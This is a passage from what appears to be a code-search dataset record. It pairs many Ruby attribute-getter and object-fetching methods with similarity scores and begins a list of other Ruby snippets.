"def get_object(objectID, attributes_to_retrieve = nil, request_options = {})\n attributes_to_retrieve = attributes_to_retrieve.join(',') if attributes_to_retrieve.is_a?(Array)\n if attributes_to_retrieve.nil?\n client.get(Protocol.object_uri(name, objectID, nil), :read, request_options)\n else\n client.get(Protocol.object_uri(name, objectID, { :attributes => attributes_to_retrieve }), :read, request_options)\n end\n end",
"def read_attribute(attribute)\n @object.send(:read_attribute, attribute.to_sym)\n end",
"def attribute_get(attribute)\n check_attribute!(attribute)\n send(attribute.to_s)\n end",
"def attribute_get(attribute)\n check_attribute!(attribute)\n send(attribute.to_s)\n end",
"def get_attribute(name); end",
"def get_attribute(name); end",
"def getObjectArgument _obj, _args\n \"_obj getObjectArgument _args;\" \n end",
"def dynamo_attribute(obj)\n dynamo_attribute_from_value dynamo_attribute_value(obj.send name)\n end",
"def _read_attribute(attr)\n @attributes[attr]\n end",
"def read_attribute\n Logging.debug \"Read attribute #{field_name}, got #{object.send(:read_attribute,field_name)} for #{object.inspect}\"\n object.send( :read_attribute, field_name )\n end",
"def get_object(object_key)\n return get_objects(object_key)[object_key]\n end",
"def get_attribute_from_path(obj, attribute_path, default=nil)\n for attr in attribute_path.split(\".\") do\n case obj\n when Hash\n obj = !obj[attr.to_sym].nil? ? obj[attr.to_sym] : obj[attr]\n else\n obj = obj.send(attr)\n end\n return default if obj.nil?\n end\n obj\n end",
"def method_missing(method_id, object)\n return object(object)\n end",
"def method_missing(name, *args, &block)\n ensure_apply_object_class\n\n key = name.to_s\n case key\n when /=$/\n real_key = $PREMATCH\n if have_attribute?(real_key, ['objectClass'])\n if args.size != 1\n raise ArgumentError,\n _(\"wrong number of arguments (%d for 1)\") % args.size\n end\n return set_attribute(real_key, *args, &block)\n end\n when /(?:(_before_type_cast)|(\\?))?$/\n real_key = $PREMATCH\n before_type_cast = !$1.nil?\n query = !$2.nil?\n if have_attribute?(real_key, ['objectClass'])\n if args.size > 1\n raise ArgumentError,\n _(\"wrong number of arguments (%d for 1)\") % args.size\n end\n if before_type_cast\n return get_attribute_before_type_cast(real_key, *args)\n elsif query\n return get_attribute_as_query(real_key, *args)\n else\n return get_attribute(real_key, *args)\n end\n end\n end\n super\n end",
"def get_next_for(object)\n object.send(attribute_name)\n end",
"def attribute_get(name)\n \n name = name.to_sym\n \n if properties.has_key?(name)\n properties[name].get(self)\n else\n nil\n end\n \n end",
"def read(object, attribute, ivar = T.unsafe(nil)); end",
"def get_val(obj, att)\n\t\tblk=\"obj=\"+obj.class.name+\".find(\"+obj.id.to_s+\")\\nobj.\"+att\n\t\t#puts \"blk=\"+blk\n\t\tret = eval blk\n\t\tret\n\tend",
"def getObject(object)\n\t\t\turi = parseURI(object)\n\t\t\tresponse = do_get(uri)\n\t\t\treturn nil if response == nil\n\t\t\treturn response\n\t\tend",
"def get attribute\n attributes[attribute]\n end",
"def get_attribute(name)\n str = name.to_s\n \n # try fetching an instance variable first\n value = instance_variable_get(\"@#{str}\")\n return value unless value.nil?\n \n # not an instance variable -- try fetching from @metadata\n load_metadata unless @metadata_loaded\n value = @metadata[str]\n return value unless value.nil?\n \n # not in metadata under that name -- is there another variant?\n alternate_name = nil\n self.class.md_key_map.each do |md_name, var_name|\n if str == md_name.to_s\n alternate_name = var_name.to_s\n break\n end\n end\n \n # if we couldn't find anything, return nil\n return nil if alternate_name.nil?\n \n # otherwise, try looking in metadata using the alternate name\n # if this doesn't work, we'll just let the method return nil\n @metadata[alternate_name]\n end",
"def getFAttr()\n return @obj_attr\n end",
"def coerce(object)\n Attribute.coerce(object)\n end",
"def object_attributes(object, action = nil)\n MyAdmin.get_object_attributes(object, action)\n end",
"def obj\n return @args[:obj]\n end",
"def get_attribute(node, attr_name)\n #There has been a method shift between 0.5 and 0.7\n if defined?(node.property) == nil\n return node.attributes[attr_name]\n else\n if defined?(node[attr_name])\n return node[attr_name]\n else\n return node.property(attr_name)\n end\n end\n end",
"def attributes\n @object\n end",
"def get(attribute)\n @attributes[attribute.to_s]\n end",
"def get_obj(obj,id)\n a = try(\"@#{obj}s['#{id}'.to_sym] if defined?(@#{obj}s['#{id}'.to_sym])\")\n if a\n print \"+\" if @debug == true\n return a\n else\n print \"-\"\n return nil\n end\n end",
"def get_attrib(attrib)\n Attrib.get(attrib, self) rescue nil\n end",
"def prefer_object_method!\n alias_method :fetch_attribute_from_object_and_resource, :_fetch_attribute_from_object_first\n end",
"def get_obj(type_tag)\n if id = OBJECT_READER_MAP[type_tag]\n return self.send(id)\n end\n raise OSC::ParseError, \"invalid type tag\"\n end",
"def get_converted_attribute( attrsym, object )\n\t\tif attribute = self.directory.schema.attribute_types[ attrsym ]\n\t\t\tself.log.debug \"converting %p object (a %p) to a %s attribute\" %\n\t\t\t\t[ attrsym, object.class, attribute.syntax.desc ]\n\t\t\treturn self.directory.convert_to_attribute( attribute.syntax_oid, object )\n\t\telse\n\t\t\tself.log.info \"no attributeType for %p\" % [ attrsym ]\n\t\t\treturn object.to_s\n\t\tend\n\tend",
"def get_attribute(attr_name)\n return nil unless @attributes.key? attr_name\n\n @attributes[attr_name]\n end",
"def method_missing(name, *args, &block)\n @attributes[name]\n end",
"def get_object(iter)\n raise \"depricated - please use iter[OBJECT]\"\n iter[ self.class.column_id[:object] ]\n end",
"def get_attribute(name)\n return @attrs[name] if attrs.key?(name)\n end",
"def [](name)\n attribute = @server.getAttribute(@object_name, name.to_s)\n return attribute.value if attribute.kind_of? javax.management.Attribute\n attribute\n end",
"def get(key, object)\n if @mapping.has_key?(key)\n chain_methods(object, @mapping[key], {method_separator: @method_separator, force_method_calls: @force_method_calls})\n else\n Acs::Ldap::logger.error \"Acs::Ldap::Mapper Error while trying to fetch key '#{key}' on object '#{object}' with mapping '#{@mapping}'\"\n nil\n end\n end",
"def method_missing(name, *args)\n obj = find(name.to_s)\n if obj\n return obj.value\n else\n return nil\n end\n end",
"def [](attr_name)\n @attributes.fetch_value(attr_name.to_s)\n end",
"def _read_attribute(key); end",
"def instance_read(attr)\n getter = :\"#{@name_string}_#{attr}\"\n instance.send(getter) if instance.respond_to?(getter)\n end",
"def load_object\n @object = scope.find params[:id]\n @object.attributes = params[object_name.to_sym]\n set_instance\n end",
"def read_attribute(symbol)\n @__attribs__ ||= {}\n @__attribs__[symbol]\n end",
"def [](attr, options = {})\n fetch(attr, options)\n rescue\n nil\n end",
"def get_attribute(name)\n @attributes[name.to_s]\n end",
"def fetch_attributes(obj:)\n attrs = {}\n attrs[:fixed_by] = obj[\"FixedBy\"] if obj[\"FixedBy\"].present?\n attrs[:link] = obj[\"Link\"] if obj[\"Link\"].present?\n attrs[:metadata] = obj[\"Metadata\"] if obj[\"Metadata\"].present?\n attrs[:severity] = obj[\"Severity\"] if obj[\"Severity\"].present?\n attrs[:description] = obj[\"Description\"] if obj[\"Description\"].present?\n attrs\n end",
"def get\n object\n end",
"def get_object\n class_name = self.target_type.classify\n klass = Object.const_get(class_name)\n return klass.find(self.target_id)\n end",
"def get(obj)\n collection, query = get_type_info(obj)\n\n record = retrieve(collection, query, limit: 1).first\n return nil unless record\n\n obj.class.new(record)\n end",
"def obj_pull(obj,klass)\n pull obj.to_s, :object=> get_obj_type(obj)\n end",
"def [](key)\n @attributes = Array.new if @attributes.nil?\n attributes_downcase =@attributes.map(&:downcase)\n key.downcase!\n if attributes_downcase.include? key\n return get(key)\n else\n raise 'El atributo no ha sido encontrado en el objecto '+ key\n end\nend",
"def object\n @obj\n end",
"def instance_get(attribute)\n getter = :\"#{self.name}_#{attribute}\"\n self.instance.send(getter) if instance.respond_to?(getter)\n end",
"def object\n __getobj__\n end",
"def read_attribute\n record.public_send(attribute)\n end",
"def object(object_id, opts = {})\n response = fetch_object(Array(object_id).join(':'), opts)\n response.body\n end",
"def _get(name, obj = @obj)\n return obj[name] if obj[name]\n return _dir(name, obj)\n end",
"def broham_attr attr\n [ broham_info[attr] ].flatten.first\n end",
"def extract_data(object)\n if object.is_a?(Hash) && object.size == 1\n return object.values.first\n else\n return object\n end\n end",
"def get_attribute(name)\n @attributes[name]\n end",
"def read_attribute(name)\n fields[name].get(@attributes[name])\n end",
"def object_value_from_dynamo_data(dynamo_record)\n dynamo_record[dynamo_attribute_key]\n end",
"def attributes(object)\n attributes = {}\n @mapping.each do |key, method|\n attributes[key.to_sym] = chain_methods(object, method, {method_separator: @method_separator, force_method_calls: @force_method_calls}) # unless key.to_sym == :uid\n end\n attributes\n end",
"def object(query, kwargs = {})\n objs = objects(query, kwargs)\n return objs.length == 1 ? objs[0] : nil\n end",
"def convert_to_object( oid, attribute )\n\t\tif conversion = @attribute_conversions[ oid ]\n\t\t\tif conversion.respond_to?( :call )\n\t\t\t\tattribute = conversion.call( attribute, self )\n\t\t\telse\n\t\t\t\tattribute = conversion[ attribute ]\n\t\t\tend\n\t\tend\n\n\t\t# Force the encoding to UTF8, as that's what the directory should be returning.\n\t\t# Ruby-LDAP returns values as ASCII-8BIT.\n\t\tattribute = attribute.dup.force_encoding( Encoding::UTF_8 ) if\n\t\t\tattribute.respond_to?( :force_encoding )\n\n\t\treturn attribute\n\tend",
"def read_attribute(attr_name)\n attr_name = attr_name.to_sym\n\n @attributes_cache[attr_name] || @attributes_cache.fetch(attr_name) do\n data = @attributes.fetch(attr_name) do\n # This statement overrides id to return the primary key\n # if it is set to something other than :id\n if attr_name == :id && self.class.primary_key != attr_name\n return read_attribute(self.class.primary_key)\n end\n\n # For some reason hashes return false for key? if the value\n # at that key is nil. It also executes this block for fetch\n # when it really shouldn't. Detect that error here and give\n # back nil for data\n if @attributes.keys.include?(attr_name)\n nil\n else\n # In this case the attribute was truly not found, if we're\n # given a block execute that otherwise return nil\n return block_given? ? yield(attr_name) : nil\n end\n end\n # This sets and returns the typecasted value\n @attributes_cache[attr_name] = self.typecast_attribute_for_read(\n attr_name,\n data\n )\n end\n end",
"def a(name)\n self.attributes[name]\n end",
"def get(attribute_name)\n # label, attribute = attribute_name.split('_')\n # self.send(\"#{attribute}s\").first_for(label)\n attributes[attribute_name.to_sym] ||= get_field(attribute_map[attribute_name])\n end",
"def get_object(obj_name)\n key = obj_name.to_s\n obj = @cache[key]\n unless obj\n if extra_inputs_has(key)\n obj = @extra_inputs[key]\n else\n case @defs[key]\n when MethodDef\n obj = construct_method(key)\n when FactoryDef\n obj = construct_factory(key)\n @cache[key] = obj\n else\n obj = construct_object(key)\n @cache[key] = obj if @defs[key].singleton?\n end\n end\n end\n obj\n end",
"def method_missing(name, *args, &block)\n return attributes[name.to_sym] if attributes.include?(name.to_sym)\n return super\n end",
"def _get_objdata(arg_) # :nodoc:\n case arg_\n when ::Array\n @tuples[arg_]\n when ::Hash\n if (tuple_ = arg_[:tuple])\n @tuples[tuple_]\n elsif (obj_ = arg_[:object])\n @objects[obj_.object_id]\n else\n nil\n end\n else\n @objects[arg_.object_id]\n end\n end",
"def dereference(obj)\n result = obj\n if(obj.is_a?(Hash))\n name = obj['Ref']\n if(name)\n p_val = parameters[name.to_s]\n if(p_val)\n result = p_val\n end\n end\n end\n result\n end",
"def extract_tag obj, attrs\n # if there are no more attributes, return obj\n return obj if attrs.blank?\n\n # Process the next attribute in the chain and keep the rest\n curr_attr, remaining_attrs = attrs.split '.', 2\n # if curr_attr is not a method of obj, return nil\n return nil unless obj.respond_to? curr_attr\n # grab the next value\n val = obj.send(curr_attr)\n\n return nil if val.blank?\n return val.to_s if remaining_attrs.blank?\n return extract_tag val, remaining_attrs unless val.respond_to? :map\n # val must be a list, process each member\n val.map { |o| extract_tag o, remaining_attrs.dup }\n end",
"def get_attribute(attribute)\n\t\t@attributes[attribute.intern]\n\tend",
"def fields_from_object( object )\n\t\tcase object\n\t\twhen ::Exception\n\t\t\treturn self.fields_from_exception( object )\n\t\telse\n\t\t\tif object.respond_to?( :to_h )\n\t\t\t\treturn object.to_h\n\t\t\telse\n\t\t\t\traise \"don't know how to derive fields from a %p\" % [ object.class ]\n\t\t\tend\n\t\tend\n\tend",
"def extract_data(object)\n if object.is_a?(Hash)&&object.keys.include?('data')\n return object['data']\n else\n return object\n end\n end",
"def instance_read(attr)\n getter = :\"#{name}_#{attr}\"\n responds = instance.respond_to?(getter)\n cached = self.instance_variable_get(\"@_#{getter}\")\n return cached if cached\n instance.send(getter) \n end",
"def read_attribute(attr_name)\n return unless attr_name\n\n attr_name = attr_name.to_s\n methods = self.class.generated_external_attribute_methods\n\n if methods.method_defined?(attr_name)\n if @attributes.has_key?(attr_name) || attr_name == 'id'\n methods.send(attr_name, @attributes[attr_name], @attributes, @attributes_cache, attr_name)\n end\n elsif !self.class.attribute_methods_generated?\n # If we haven't generated the caster methods yet, do that and\n # then try again\n self.class.define_attribute_methods\n read_attribute(attr_name)\n else\n # If we get here, the attribute has no associated DB column, so\n # just return it verbatim.\n @attributes[attr_name]\n end\n end",
"def object\n @obj\n end",
"def attribute(name)\n return attributes[name]\n end",
"def attribute(name)\n attributes.each { |a| return a if a.property.id == name }\n nil\n end",
"def method_missing(name, *args, &block)\n @attributes ? @attributes[name.to_s] : nil\n end",
"def get_obj(obj,id)\n begin\n a = @cache.get \"#{obj}_#{id}\"\n print \"+\" if @debug == true\n return YAML.load(a)\n rescue\n end\n #puts id.inspect\n print \"-\"\n end",
"def get_attribute(attribute)\n case attribute\n when :bathroom\n return self.bathroom\n when :heating\n return self.heating\n when :warm_water\n return self.warm_water\n when :wc\n return self.wc\n else\n return nil\n end \n end",
"def attribute(name)\n attributes[name]\n end",
"def [](name)\n attributes.fetch(name)\n end",
"def convert_from_object(object)\n if object.class.name =~\n /AdwordsApi::V201008::\\w+::\\w+/\n # Handle soap4r object\n object_class = REGISTRY.schema_definition_from_class(object.class)\n if object_class.elements and !object_class.elements.entries.empty?\n # Process complex object.\n hash = {}\n hash[:xsi_type] = object.class.name.split('::').last\n object_class.elements.entries.each do |entry|\n property = entry.varname.to_s\n if object.respond_to? property and !property.include?('_Type')\n value = object.send(property)\n property_name = nil\n if @api.config.read('service.use_ruby_names')\n property_name = underscore(property).to_sym\n else\n property_name = property.to_sym\n end\n # Recurse.\n hash[property_name] = convert_from_object(value) if value\n end\n end\n return hash\n else\n # Process simple object.\n parent = object.class.superclass\n return parent.new(object)\n end\n elsif object.is_a? Array\n # Handle arrays\n return object.map do |entry|\n # Recurse.\n convert_from_object(entry)\n end\n else\n # Handle native objects\n return object\n end\n end",
"def [](name, options = {})\n attributes.get(name, options)\n end",
"def get_object(opts = {})\n data, _status_code, _headers = get_object_with_http_info(opts)\n data\n end",
"def get_one_of obj\n obj.instance_variables.each do |var|\n return var[/^@?(.*)/, 1]\n end\n \"unknown\"\nend"
] |
[
"0.7240865",
"0.68330497",
"0.67181814",
"0.66553044",
"0.66433805",
"0.65401554",
"0.6509242",
"0.6486668",
"0.6468823",
"0.63785976",
"0.6300267",
"0.6252486",
"0.6252486",
"0.62396264",
"0.62396264",
"0.6232631",
"0.62048894",
"0.619135",
"0.61791545",
"0.61657566",
"0.6158509",
"0.6101525",
"0.60810965",
"0.6077518",
"0.6050845",
"0.6027374",
"0.6022304",
"0.60080624",
"0.59588945",
"0.59428895",
"0.593645",
"0.5887769",
"0.5874898",
"0.58648694",
"0.5849376",
"0.5843502",
"0.5842658",
"0.58423674",
"0.5836215",
"0.5819214",
"0.5807954",
"0.57892746",
"0.57867163",
"0.57566345",
"0.575361",
"0.5742083",
"0.57264745",
"0.5715421",
"0.57108176",
"0.5707273",
"0.5696998",
"0.5689293",
"0.56802464",
"0.56560063",
"0.565566",
"0.5646608",
"0.5646379",
"0.563156",
"0.5630417",
"0.5627526",
"0.5625729",
"0.56216013",
"0.56172585",
"0.56142974",
"0.5610341",
"0.5600699",
"0.5599418",
"0.5596084",
"0.55895036",
"0.5572109",
"0.5555409",
"0.55498004",
"0.5541939",
"0.5535535",
"0.55276436",
"0.552651",
"0.5524199",
"0.5522129",
"0.55143046",
"0.5507478",
"0.5502941",
"0.5494793",
"0.5490656",
"0.5477101",
"0.5472466",
"0.54677147",
"0.54611725",
"0.54609185",
"0.5451214",
"0.544188",
"0.5436517",
"0.542866",
"0.5427827",
"0.5424839",
"0.5419016",
"0.5418833",
"0.54126924",
"0.5411758",
"0.5408456",
"0.5401786",
"0.53993297"
] |
0.0
|
-1
|
~ def hParams(sCloudObj, hParams) ~ aParams = _get_object_params(sCloudObj, ":ObjectData.hParams") ~ end
|
def get_cObject(oObject)
return nil if rhExist?(oObject, :object) != 1
rhGet(oObject, :object)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hcGroupParams _obj, _args\n \"_obj hcGroupParams _args;\" \n end",
"def params=(hash); end",
"def params=(hash); end",
"def __get_params(data)\n if @params.kind_of?(Hash)\n @keyword_params = Utils::Hash.keys_to_sym(@params)\n @params = nil\n end\n end",
"def hopen_params\n params.fetch(:hopen, {})\n end",
"def __get_params(data)\n \n # If named arguments used, assigns keys as symbols\n # but keeps numeric arguments as integers\n \n if @params.kind_of? Hash\n @params = @params.dup\n @keyword_params = JsonRpcObjects::Utils::Hash.remove!(@params) do |k, v|\n not JsonRpcObjects::Utils::String.numeric? k\n end\n \n @params = @params.sort_by { |i| i[0].to_i }.map { |i| i[1] }\n else\n @keyword_params = { }\n end\n \n JsonRpcObjects::Utils::Hash.keys_to_sym! @keyword_params\n \n end",
"def query_map(sCloudObj, hParams)\n return nil if not sCloudObj or not [String, Symbol].include?(sCloudObj.class)\n return {} if not hParams\n\n sCloudObj = sCloudObj.to_sym if sCloudObj.class == String\n\n hReturn = {}\n hMap = rhGet(@@meta_obj, sCloudObj, :query_mapping)\n hParams.each { |key, value|\n oKeyPath = KeyPath.new(key)\n sKeyPath = oKeyPath.sFullPath\n raise ForjError.new(), \"Forj query field '%s.%s' not defined by class '%s'\" % [sCloudObj, oKeyPath.sKey, self.class] if not hMap.key?(oKeyPath.sFullPath)\n oMapPath = KeyPath.new(hMap[oKeyPath.sFullPath])\n hValueMapping = rhGet(@@meta_obj, sCloudObj, :value_mapping, sKeyPath)\n if hValueMapping\n raise ForjError.new(), \"'%s.%s': No value mapping for '%s'\" % [sCloudObj, oKeyPath.sKey, value] if rhExist?(hValueMapping, value) != 1\n\n rhSet(hReturn, hValueMapping[value], oMapPath.aTree)\n else\n rhSet(hReturn, value, oMapPath.aTree)\n end\n }\n hReturn\n end",
"def camConstuctionSetParams _obj, _args\n \"_obj camConstuctionSetParams _args;\" \n end",
"def define_parameter(params)\n @properties[:parameters] = Hashie::Mash.new unless @properties.key?(:parameters)\n if params.kind_of? Hash\n @properties[:parameters].merge!(params)\n else\n error \"Cannot define parameter for app '#{self.name}'! Parameter \"+\n \"not passed as a Hash ('#{params.inspect}')\"\n end\n end",
"def define_parameter(params)\n @properties[:parameters] = Hashie::Mash.new unless @properties.key?(:parameters)\n if params.kind_of? Hash\n @properties[:parameters].merge!(params)\n else\n error \"Cannot define parameter for app '#{self.name}'! Parameter \"+\n \"not passed as a Hash ('#{params.inspect}')\"\n end\n end",
"def initialize(optHash)\n @optHash=optHash\n setParameters()\nend",
"def hydrate_params(high_level_params)\n fancy = %w(\n archive_center\n data_center entry_title\n instrument\n platform\n processing_level_id\n project\n sensor\n short_name\n spatial_keyword\n version\n )\n\n fancy.each do |key|\n next unless high_level_params.key?(key)\n\n # Allow for wildcard searching\n high_level_params[key].concat('*')\n\n # In order to search with the wildcard parameter we need to tell CMR to use it\n high_level_params['options'] = {\n key => {\n 'pattern' => true,\n 'ignore_case' => true\n }\n }\n end\n\n high_level_params\n end",
"def dyn_params=(h)\n set_dyn_params(h)\n end",
"def updateParams(volumeObject)\r\n\t\tvarValues = volumeObject.getValueHash()\r\n\t\tvarValues.each do |key, value|\r\n\t\t\t# update parameter in interface using jQuery command\r\n\t\t\tcmd = '$(\"#' + key + '\").val(\"' + value[1].to_s + '\")'\r\n\t\t\t#puts cmd\r\n\t\t\t@volume_dialog.execute_script(cmd)\r\n\t\tend\r\n\t\t\r\n\t\tif(varValues[\"volume_type\"][1] != \"clear\")\r\n\t\t\t# set scattering swatch\r\n\t\t\t@lrs.colorpicker_volume = \"vol_scattering_swatch\"\r\n\t\t\t#puts varValues\r\n\t\t\tswatchColor = varValues[\"vol_scattering_swatch\"][1]\r\n\t\t\tupdateSwatch(toHex(swatchColor))\r\n\t\tend\r\n\t\t\r\n\t\t# set absorption swatch\r\n\t\t@lrs.colorpicker_volume = \"vol_absorption_swatch\"\r\n\t\tswatchColor = varValues[\"vol_absorption_swatch\"][1]\r\n\t\tupdateSwatch(toHex(swatchColor))\r\n\t\t\t\r\n\tend",
"def init_jaxb_json_hash(_o)\n if !_o['parameters'].nil?\n _oa = _o['parameters']\n if(_oa.is_a? Hash)\n @parameters = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @parameters = Com::Hybris::Cis::Api::Model::AnnotationHashMap.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @parameters = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @parameters.push Com::Hybris::Cis::Api::Model::AnnotationHashMap.from_json(_item)\n else\n @parameters.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @parameters = _oa\n end\n end\n end",
"def params(params_hash)\n return self if params_hash.nil?\n\n @sim_data.num_rounds = params_hash['NumRounds']\n @sim_data.num_agents = params_hash['NumAgents']\n @sim_data.starting_funds = params_hash['StartingFunds']\n @sim_data.max_stock = params_hash['MaxStock']\n\n self\n end",
"def parameters(hash = nil)\n hash ? @parameters = hash : @parameters\n end",
"def internal_object_update(params)\n end",
"def internal_object_update(params)\n end",
"def cloud_obj_requires(sCloudObj, res = {})\n aCaller = caller\n aCaller.pop\n\n return res if @ObjectData.exist?(sCloudObj)\n #~ return res if rhExist?(@CloudData, sCloudObj) == 1\n\n rhGet(@@meta_obj,sCloudObj, :params).each { |key, hParams|\n case hParams[:type]\n when :data\n if hParams.key?(:array)\n hParams[:array].each{ | aElem |\n aElem = aElem.clone\n aElem.pop # Do not go until last level, as used to loop next.\n rhGet(hParams, aElem).each { | subkey, hSubParam |\n next if aElem.length == 0 and [:array, :type].include?(subkey)\n if hSubParams[:required] and @oForjConfig.get(subkey).nil?\n res[subkey] = hSubParams\n end\n }\n }\n else\n if hParams[:required] and @oForjConfig.get(key).nil?\n res[key] = hParams\n end\n end\n when :CloudObject\n #~ if hParams[:required] and rhExist?(@CloudData, sCloudObj) != 1\n if hParams[:required] and not @ObjectData.exist?(sCloudObj)\n res[key] = hParams\n cloud_obj_requires(key, res)\n end\n end\n }\n res\n end",
"def parameters\n @parameters ||= {}\n end",
"def parameters\n @parameters ||= {}\n end",
"def initialize(params = {})\n raise 'Wrong data provided' unless params.is_a? Hash\n\n params = params.to_h.stringify_keys\n set_instance_variable_params(params)\n set_instance_variable_columns(params)\n end",
"def initialize_parameters\n @omdb_params = [:i, :t, :type, :y, :plot, :r, :tomates, :callback, :v, :s] \n end",
"def http_params\n {}\n end",
"def init_params(params)\n @client_id = params[:client_id]\n @user_id = params[:user_id]\n @action = params[:action]\n @action_timestamp = params[:action_timestamp]\n\n @admin_id = params[:admin_id]\n @case_id = params[:case_id]\n # NOTE: Called from two places, one time it's hash with indifferent access and another is normal hash\n # so following line is required and can't be changed. Talk to Sunil, before you touch it.\n @extra_data = params[:extra_data].present? ? params[:extra_data].deep_symbolize_keys : nil\n\n @client = Client.get_from_memcache(@client_id)\n @e_extra_data = nil\n end",
"def fogParams \n \"fogParams\" \n end",
"def create(sObjectType, hParams)\n case sObjectType\n when :public_ip\n required?(hParams, :compute_connection)\n required?(hParams, :server)\n HPCompute.server_assign_address(hParams[:compute_connection],\n hParams[:server])\n when :server\n required?(hParams, :compute_connection)\n required?(hParams, :image)\n required?(hParams, :network)\n required?(hParams, :flavor)\n required?(hParams, :keypairs)\n required?(hParams, :security_groups)\n required?(hParams, :server_name)\n\n options = {\n :name => hParams[:server_name],\n :flavor_id => hParams[:flavor].id,\n :image_id => hParams[:image].id,\n :key_name => hParams[:keypairs].name,\n :security_groups => [hParams[:security_groups].name],\n :networks => [hParams[:network].id]\n }\n\n HPCompute.create_server(hParams[:compute_connection], options,\n hParams[:user_data], hParams[:meta_data])\n when :image\n required?(hParams, :compute_connection)\n required?(hParams, 'server#image_name')\n\n HPCompute.get_image(hParams[:compute_connection],\n hParams['server#image_name'])\n when :network\n required?(hParams, :network_connection)\n required?(hParams, :network_name)\n\n HPNetwork.create_network(hParams[:network_connection],\n hParams[:network_name])\n when :subnetwork\n required?(hParams, :network_connection)\n required?(hParams, :network)\n required?(hParams, :subnetwork_name)\n\n HPNetwork.create_subnetwork(hParams[:network_connection],\n hParams[:network],\n hParams[:subnetwork_name])\n when :security_groups\n required?(hParams, :network_connection)\n required?(hParams, :security_group)\n\n HPSecurityGroups.create_sg(hParams[:network_connection],\n hParams[:security_group], hParams[:sg_desc])\n when :keypairs\n required?(hParams, :compute_connection)\n required?(hParams, 'credentials#keypair_name')\n required?(hParams, :public_key)\n\n HPKeyPairs.create_keypair(hParams[:compute_connection],\n hParams['credentials#keypair_name'],\n hParams[:public_key])\n when :router\n required?(hParams, :network_connection)\n required?(hParams, :router_name)\n\n # Forcelly used admin_status_up to true.\n hParams[:hdata] = hParams[:hdata].merge(:admin_state_up => true)\n\n HPNetwork.create_router(hParams[:network_connection], hParams[:hdata])\n when :rule\n required?(hParams, :network_connection)\n required?(hParams, :security_groups)\n HPSecurityGroups.create_rule(hParams[:network_connection],\n hParams[:hdata])\n when :router_interface\n required?(hParams, :router)\n required?(hParams, :subnetwork)\n HPNetwork.add_interface(hParams[:router], hParams[:subnetwork])\n else\n controller_error \"'%s' is not a valid object for 'create'\", sObjectType\n end\n end",
"def initialize\n @params = {}\n end",
"def parameters\n @property_hash[:parameters]\n end",
"def object_table_params\n #params.fetch(:object_table, {})\n>>>>>>> 8e31398c502b5332a4908c846796eb04e6245ac6\n params.require(:object_table).permit(:guid)\n end",
"def cp_h\n end",
"def set_stored_parameters(params={})\r\n @PARAM_HASH['STORED_INDICATOR'] = params[:stored_indicator] || ''\r\n @PARAM_HASH['STORED_TYPE'] = params[:stored_type] || ''\r\n @PARAM_HASH['STORED_ID'] = params[:stored_id] || ''\r\n end",
"def set_params!(param_hash={})\n param_hash.each { |k,v| @set_params[k.to_s] = v }\n end",
"def __assign_params(data, version = nil)\n if not @params.nil? and not @params.empty?\n data[:params] = @params\n elsif not @keyword_params.nil? and not @keyword_params.empty?\n data[:params] = Utils::Hash.map_keys(@keyword_params) { |k| k.to_s } \n end\n end",
"def parameters=(_arg0); end",
"def parameters\n h = {}\n keys.each { |k| h[k.to_sym] = Jeapie.instance_variable_get(\"@#{k}\") }\n h\n end",
"def init_params(params)\n # Rails.logger.info(\"-- init_params params: #{params.inspect}\")\n @client_id = params[:client_id]\n @user_id = params[:user_id].to_i\n @user_extended_detail_id = params[:user_extended_detail_id]\n @action = params[:action]\n @action_timestamp = params[:action_timestamp]\n @event = params[:event]\n\n @client = Client.get_from_memcache(@client_id)\n\n @user = User.using_client_shard(client: @client).find(@user_id)\n @user_extended_detail = UserExtendedDetail.using_client_shard(client: @client).find(@user_extended_detail_id)\n @user_kyc_detail = UserKycDetail.using_client_shard(client: @client).get_from_memcache(@user_id)\n\n Rails.logger.info(\"-- init_params @user_extended_detail: #{@user_extended_detail.id}\")\n end",
"def set_parameters(hash_or_instance)\n parameters = extract_parameters_from_hash_or_instance(hash_or_instance)\n parameters.each do |k,v|\n send \"#{k}=\", v\n end\n end",
"def params=(_arg0); end",
"def params=(_arg0); end",
"def cloud_resource_params\n params.require(:cloud_resource).permit(:name, :path_lower, :path_display, :resource_id, :client_modified, :server_modified, :rev, :size, :content_hash, :parent_id, :resource_type)\n end",
"def parameters=(value)\n raise TypeError, 'parameters must be a Hash or respond to #to_h or #to_hash' unless value.is_a?(Hash) || value.respond_to?(:to_h) || value.respond_to?(:to_hash)\n value = value.to_h rescue value.to_hash\n \n @parameters = value.to_h\n end",
"def doppelte_object_params\n params.fetch(:doppelte_object, {})\n end",
"def mHarpikParams(inParams = {})\n\n # Start with the defaults\n retParams = @m_harpikDefaults.dup\n\n # Choose a mesh name based on the colour\n retParams[:mesh_name] = case inParams[:colour]\n when /(red|blue)/ then \"harpik-#$1\"\n when nil then \"harpik\"\n else raise \"Unknown harpik colour #{inParams[:colour]}\"\n end\n\n # Derive type and target types, i.e. what this is and what it shoots at\n retParams[:type] = mType(inParams)\n retParams[:target_types] = mTargetTypes(inParams)\n\n # Select the remnant left behind when rhe craft is destroyed\n retParams[:remnant] = $currentLogic.mRemnant.mMediumGradeRemnant(@m_harpikNum)\n\n # Set scanner symbol. Needs to know remnant type, hence merge\n retParams[:scanner_symbol] = mScannerSymbol(retParams.merge(inParams))\n\n # Add paramters common to all pieces, i.e. position\n mKhaziAddBaseParams(retParams, inParams)\n\n # Merge the input parameters so that they overwrite those we've calculated\n retParams.merge!(inParams)\n\n retParams\n end",
"def initialize(o_params)\n params = o_params.dup\n if params.is_a?(Hash)\n @name, @type = params.shift\n @doc = params.delete(:doc) if params.has_key?(:doc)\n @opts = params\n elsif params.is_a?(Array)\n @name = params.shift\n @type = params.shift\n @doc = params.shift\n @opts = params\n end\n end",
"def <<(hHash)\n @params.merge!(hHash) unless hHash.nil?\n end",
"def setParticleParams _obj, _args\n \"_obj setParticleParams _args;\" \n end",
